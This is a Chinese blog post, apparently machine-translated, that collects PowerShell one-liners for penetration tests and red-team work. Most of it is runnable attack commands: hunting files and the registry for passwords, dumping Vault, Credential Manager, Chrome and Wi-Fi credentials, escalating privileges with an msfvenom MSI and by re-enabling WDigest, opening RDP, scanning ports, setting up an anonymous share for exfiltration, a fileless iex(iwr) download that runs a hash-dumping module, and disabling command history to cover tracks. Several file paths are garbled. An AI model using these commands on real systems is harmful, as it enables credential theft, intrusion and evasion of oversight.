powershell渗透-信息收集命令

本文包含从 Internet 的各个角落收集的 PowerShell 命令列表,这些命令在渗透测试或红色团队练习期间可能会有所帮助。

该列表包括各种开发后的单行在纯 PowerShell 不需要任何攻击 (= 可能标记为恶意) 第三方模块, 但也一堆方便的管理命令.

查找包含敏感信息的文件

在开发后阶段,以下 PowerShell 命令可以很方便地查找磁盘上可能包含凭据、配置详细信息和其他敏感信息的文件。

查找可能感兴趣的文件

通过此命令,我们可以根据文件名识别具有潜在敏感数据的文件,如帐户信息、凭据、配置文件等:

gci c:\ -Include *pass*.txt,*pass*.xml,*pass*.ini,*pass*.xlsx,*cred*,*vnc*,*.config*,*accounts* -File -Recurse -EA SilentlyContinue

虽然这会产生很多噪音,但也会产生一些非常有趣的结果。

建议对每个磁盘驱动器进行此操作,但您也可以在 c:\用户文件夹上运行它,以便获得一些快速获胜。

在 Sysprep 或未处理文件中查找凭据

此命令将查找自动安装和自动配置的残余,这些残余可能包含纯文本密码或 base64 编码密码:

gci c:\ -Include *sysprep.inf,*sysprep.xml,*sysprep.txt,*unattended.xml,*unattend.xml,*unattend.txt -File -Recurse -EA SilentlyContinue

这是众所周知的特权升级技术之一,因为密码通常是本地管理员密码。

建议对每个磁盘驱动器进行此设置。

查找包含"密码"字符串的配置文件

通过此命令,我们可以找到包含特定模式的文件,例如,这里正在寻找各种文本配置文件中的"密码"模式:

gci c:\ -Include *.txt,*.xml,*.config,*.conf,*.cfg,*.ini -File -Recurse -EA SilentlyContinue | Select-String -Pattern "password"

虽然这会产生很多噪音,但也会产生一些有趣的结果。

建议对每个磁盘驱动器进行此设置。

在配置文件中查找数据库凭据

使用以下 PowerShell 命令,我们可以在各种配置文件(如 Web.config)中查找存储在各种配置文件中的数据库连接字符串(具有纯文本凭据),ASP.NET在 Visual Studio 项目文件中等:

gci c:\ -Include *.config,*.conf,*.xml -File -Recurse -EA SilentlyContinue | Select-String -Pattern "connectionString"

查找连接字符串,例如对于远程 Microsoft SQL Server,可能会导致远程命令执行 (RCE) 使用 xp_cmdshell 功能(链接链接、链接等)以及随后的横向移动。

查找 Web 服务器配置文件

通过此命令,我们可以轻松地找到属于 Microsoft IIS、XAMPP、Apache、PHP 或 MySQL 安装的配置文件:

gci c:\ -Include web.config,applicationHost.config,php.ini,httpd.conf,httpd-xampp.conf,my.ini,my.cnf -File -Recurse -EA SilentlyContinue

这些文件可能包含纯文本密码或其他有趣的信息,可以允许访问其他资源,如数据库,管理接口等。

提取凭据

以下 PowerShell 命令也属于开发后类别,它们可用于在访问 Windows 系统后提取凭据。

从 Windows 密码 Vault 获取存储的密码

使用以下 PowerShell 命令,我们可以从 Windows密码 Vault中提取机密,这是一种用于存储密码和 Web 凭据的 Windows 内置机制,例如用于 Internet 资源管理器、边缘和其他应用程序:

[Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime];(New-Object Windows.Security.Credentials.PasswordVault).RetrieveAll() | % { $_.RetrievePassword();$_ }

Get Stored Passwords from Windows PasswordVault

请注意,保管库通常存储在以下位置,并且只能在当前记录的用户的上下文中检索机密:

  • C:\用户\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
  • C:\Windows\System32\配置\系统配置文件\应用程序数据\本地\微软\Vault\
  • C:[程序数据]微软[Vault]

有关 Windows 密码 Vault 的更多信息,请参阅此处

从 Windows 凭据管理器获取存储的密码

Windows 凭据管理器提供了另一种用于存储凭据以登录到网站、登录到远程系统和各种应用程序的机制,它还提供了在 PowerShell 脚本中使用凭据的安全方法。

使用以下单行,我们可以使用凭据管理器从凭据管理器检索所有存储凭据:

Get-StoredCredential | % { write-host -NoNewLine $_.username; write-host -NoNewLine ":" ; $p = [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($_.password) ; [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($p); }

Get Stored Passwords from Windows Credential Manager

与密码 Vault 类似,凭据存储在单个用户配置文件位置,只有当前记录的用户才能解密其:

  • C:\用户\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
  • C:\用户\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
  • C:\Windows\系统\系统32\配置\系统配置文件\应用程序数据\本地\微软\凭据\

从谷歌浏览器转储密码

以下命令从 Google Chrome 浏览器(如果已安装)以及存储任何密码时提取存储的凭据:

[System.Text.Encoding]::UTF8.GetString([System.Security.Cryptography.ProtectedData]::Unprotect($datarow.password_value,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser))

同样,这必须在目标(受害者)用户的上下文中执行。

从无线配置文件获取存储的 Wi-Fi 密码

通过此命令,我们可以从 Windows 系统中配置的无线配置文件中提取所有存储的 Wi-Fi 密码(WEP、WPA PSK、WPA2 PSK 等) :

(netsh wlan show profiles) | Select-String "\:(.+)$" | %{$name=$_.Matches.Groups[1].Value.Trim(); $_} | %{(netsh wlan show profile name="$name" key=clear)}  | Select-String "Key Content\W+\:(.+)$" | %{$pass=$_.Matches.Groups[1].Value.Trim(); $_} | %{[PSCustomObject]@{ PROFILE_NAME=$name;PASSWORD=$pass }} | Format-Table -AutoSize

请注意,我们必须具有管理权限才能使之有效。

在注册表中搜索 SNMP 社区字符串

以下命令将提取存储在注册表中的 SNMP 社区字符串(如果有) :

gci HKLM:\SYSTEM\CurrentControlSet\Services\SNMP -Recurse -EA SilentlyContinue

查找 SNMP 社区字符串不是关键问题,但它可能很有用:

  • 了解组织中系统管理员使用哪种密码模式
  • 执行密码喷涂攻击(假设密码可能在其他地方重新使用)

在注册表中搜索字符串模式

以下 PowerShell 命令将筛选选定的注册表配置单元(HKCR、HKCU、HKLM、HKU 和 HKCC),并递归搜索注册表项名称或数据值中的任何选定模式。在这种情况下,我们正在搜索"密码"模式:

$pattern = "password"
$hives = "HKEY_CLASSES_ROOT","HKEY_CURRENT_USER","HKEY_LOCAL_MACHINE","HKEY_USERS","HKEY_CURRENT_CONFIG"

# Search in registry keys
foreach ($r in $hives) { gci "registry::${r}\" -rec -ea SilentlyContinue | sls "$pattern" }

# Search in registry values
foreach ($r in $hives) { gci "registry::${r}\" -rec -ea SilentlyContinue | % { if((gp $_.PsPath -ea SilentlyContinue) -match "$pattern") { $_.PsPath; $_ | out-string -stream | sls "$pattern" }}}

虽然这可能需要很多时间并产生大量噪音,但它肯定会在注册表中找到所选模式的每一次出现。

权限升级

以下各节包含适用于权限升级攻击的 PowerShell 命令 , 适用于我们只有低特权用户访问权限并且我们希望将权限上报给本地管理员的情况。

搜索自动登录凭据的注册表

Windows 系统可以配置为在启动时自动登录,例如在 POS(销售点)系统上使用。通常,这是通过将用户名和密码存储在特定的 Winlogon 注册表位置(以明文显示)来配置的。

以下命令将从注册表获取自动登录凭据:

gp 'HKLM:\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon' | select "Default*"

Search registry for auto-logon credentials

检查是否启用了"始终安装提升"

如果以下始终安装提升的注册表项设置为 1,则意味着任何低特权用户可以安装 *.msi 具有 NT 颁发机构\SYSTEM 权限的文件。下面使用 PowerShell 检查:

gp 'HKCU:\Software\Policies\Microsoft\Windows\Installer' -Name AlwaysInstallElevated
gp 'HKLM:\Software\Policies\Microsoft\Windows\Installer' -Name AlwaysInstallElevated

请注意,两个注册表项必须设置为 1 才能正常工作。

MSI安装程序包可以很容易地生成使用msfvenom实用程序从元普洛伊特框架。例如,我们可以把自己添加到管理员组中:

msfvenom -p windows/exec CMD='net localgroup administrators joe /add' -f msi > pkg.msi

查找未引用的服务路径

以下 PowerShell 命令将打印其可执行路径未包含在引号中的服务("):

gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name

这可能导致权限升级,以防可执行路径还包含空格,并且我们对路径中的任何文件夹都有写入权限。

有关此技术的更多详细信息,包括开发步骤,请在这里此处找到

检查 Lsass Wdigest 缓存

使用以下命令,我们可以检查系统是否启用了 WDigest 凭据缓存。设置决定了我们是否能够使用Mimikatz 从LSASS 进程内存中提取纯文本凭据。

(gp registry::HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\Wdigest).UseLogonCredential
  • 如果该值设置为 0,则禁用缓存(系统受到保护)
  • 如果不存在或设置为 1,则启用缓存

请注意,如果禁用它,我们仍可以使用以下命令启用它,但我们还必须在之后重新启动系统:

sp registry::HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\Wdigest -name UseLogonCredential -value 1

SYSVOL 和组策略首选项 (GPP) 中的凭据

在公司 Windows 活动目录环境中,有时可以在组策略中、在 SYSVOL 网络共享中的域控制器上的各种自定义脚本或配置文件中找到凭据。

由于任何经过身份验证的域用户都可以访问 SYSVOL 网络共享,因此我们可以使用以下命令轻松识别是否有任何存储凭据:

Push-Location \\example.com\sysvol
gci * -Include *.xml,*.txt,*.bat,*.ps1,*.psm,*.psd -Recurse -EA SilentlyContinue | select-string password
Pop-Location

一个典型的示例是MS14-025,GPP XML 文件中具有 cPassword 属性。"密码"属性可以立即解密为纯文本形式,例如,在 Kali Linux 中使用gpp 解密实用程序。

网络相关命令

下面是一些与网络相关的 PowerShell 命令,这些命令在内部网络渗透测试和类似练习中尤其有用。

从命令行设置 MAC 地址

有时在网络接口上设置 MAC 地址会很有用,使用 PowerShell,我们可以轻松地使用任何第三方实用程序:

Set-NetAdapter -Name "Ethernet0" -MacAddress "00-01-18-57-1B-0D"

这非常有用,例如,当我们测试 NAC(网络访问控制)旁路和其他方面。

允许远程桌面连接

当我们想要使用图形 RDP 会话连接到系统时,此命令三重奏可能很有用,但由于某些原因,未启用它:

# Allow RDP connections
(Get-WmiObject -Class "Win32_TerminalServiceSetting" -Namespace root\cimv2\terminalservices).SetAllowTsConnections(1)

# Disable NLA
(Get-WmiObject -class "Win32_TSGeneralSetting" -Namespace root\cimv2\terminalservices -Filter "TerminalName='RDP-tcp'").SetUserAuthenticationRequired(0)

# Allow RDP on the firewall
Get-NetFirewallRule -DisplayGroup "Remote Desktop" | Set-NetFirewallRule -Enabled True

现在端口 tcp/3389 应该是开放的,我们应该能够连接没有问题,例如通过使用来自 Kali Linux 的 xfreerdp 或 rdesktop 工具。

使用大容量 DNS 反向查找的主机发现

使用此命令,我们可以在 10.10.1.0/24 子网上执行快速反向 DNS 查找,并查看是否有任何可解析(可能处于活动状态)主机:

$net = "10.10.1."
0..255 | foreach {$r=(Resolve-DNSname -ErrorAction SilentlyContinue $net$_ | ft NameHost -HideTableHeaders | Out-String).trim().replace("\s+","").replace("`r","").replace("`n"," "); Write-Output "$net$_ $r"} | tee ip_hostname.txt

然后,结果将保存在ip_hostname.txt目录中的日志文件中。

有时,这可能比 pingsweep 或类似技术更快、更隐蔽。

端口扫描主机以寻找有趣的端口

下面了解如何快速移植扫描所选 39 个有趣端口的指定 IP 地址 (10.10.15.232):

$ports = "21 22 23 25 53 80 88 111 139 389 443 445 873 1099 1433 1521 1723 2049 2100 2121 3299 3306 3389 3632 4369 5038 5060 5432 5555 5900 5985 6000 6379 6667 8000 8080 8443 9200 27017"
$ip = "10.10.15.232"
$ports.split(" ") | % {echo ((new-object Net.Sockets.TcpClient).Connect($ip,$_)) "Port $_ is open on $ip"} 2>$null 

这将让我们快速了解网络上的特定主机,使用纯 PowerShell:

Port scan an IP address for interesting ports with PowerShell TcpClient

端口扫描单个端口的网络(端口扫描)

这对于在指定的网络 C 类子网 (10.10.0.0/24) 上快速发现 SSH 接口 (端口 tcp/22) 非常有用:

$port = 22
$net = "10.10.0."
0..255 | foreach { echo ((new-object Net.Sockets.TcpClient).Connect($net+$_,$port)) "Port $port is open on $net$_"} 2>$null

如果您尝试只识别 Windows 系统,只需将端口更改为 445。

创建来宾 SMB 共享驱动器

下面是一个很酷的技巧,可以快速启动任何人都可以访问的 SMB (CIFS) 网络共享驱动器:

new-item "c:\users\public\share" -itemtype directory
New-SmbShare -Name "sharedir" -Path "C:\users\public\share" -FullAccess "Everyone","Guests","Anonymous Logon"

若要在之后停止它,请执行:

Remove-SmbShare -Name "sharedir" -Force

这可以派上用场传输文件,渗出等。

在 Windows 防火墙中白列出 IP 地址

下面是将 Windows 防火墙中的 IP 地址列入白名单的有用命令:

New-NetFirewallRule -Action Allow -DisplayName "pentest" -RemoteAddress 10.10.15.123

现在,我们应该能够从每个端口上的 IP 地址 (10.10.15.123) 连接到此主机。

完成业务后,删除以下规则:

Remove-NetFirewallRule -DisplayName "pentest"

其他有用的命令

以下命令可用于执行各种管理任务、收集有关系统的信息或使用在笔测试期间可能有用的其他 PowerShell 功能。

无文件下载和执行

使用这个微小的 PowerShell 命令,我们可以轻松地下载和执行远程托管的任意 PowerShell 代码 - 无论是我们自己的机器还是 Internet 上:

iex(iwr("https://URL"))
  • iwr = 调用 - Web 请求
  • iex = 调用表达式

远程内容将下载和加载,而无需接触磁盘(无文件)。现在,我们可以运行它。

我们可以将它用于任何数量的流行攻击模块,例如:

下面是使用 nishang Get-Passhashes 模块转储本地密码哈希 (hashdump) 的示例:

iex(iwr("https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Get-PassHashes.ps1"));Get-PassHashes

很容易, 但请注意, 这很可能由任何体面的 AV 或 Edr 标记。

在这种情况下,您可以这样做,您可以混淆要使用的模块,并自己托管它们。

获取当前用户的 SID

以下命令将返回当前用户的 SID 值:

([System.Security.Principal.WindowsIdentity]::GetCurrent()).User.Value

检查我们运行是否具有提升(管理员)权限

下面是一个快速的单行,用于检查我们是否正在运行具有管理员权限的提升 PowerShell 会话:

If (([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator")) { echo "yes"; } else { echo "no"; }

禁用 PowerShell 命令日志记录

默认情况下,PowerShell 会自动在历史记录文件中记录多达 4096 个命令,与 Bash 在 Linux 上记录的命令类似。

PowerShell 历史记录文件是位于以下位置的每个用户配置文件中的纯文本文件:

  • C:\用户\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ConsoleHost_history.txt\\\\\\\\\\\\\\\\

通过以下命令,我们可以在当前 shell 会话中禁用 PowerShell 命令日志记录功能:

Set-PSReadlineOption –HistorySaveStyle SaveNothing

Remove-Module PSReadline

如果我们想要最大限度地减少我们在系统中的足迹,这在红色团队练习中非常有用。

从现在起,PowerShell 历史记录文件中将不记录任何命令。但是请注意,上述命令仍将在历史记录文件中回显,因此请注意,这不是完全隐蔽的。

列出已安装的防病毒 (AV) 产品

下面是一个简单的 PowerShell 命令,用于查询安全中心并识别此计算机上的所有已安装的防病毒产品:

Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntiVirusProduct

Identify currently installed antivirus product

通过解码产品状态值,我们可以确定当前启用了哪些 AV(如果安装了多个 AV)、签名是否为最新,甚至启用了哪些 AV 功能和扫描引擎(例如实时保护、反间谍软件、自动更新等)。

然而,这是一个相当深奥的话题,没有一个简单的解决方案。以下是有关该主题的一些链接:

posted @ 2020-11-14 16:50  micr067  阅读(808)  评论(0编辑  收藏  举报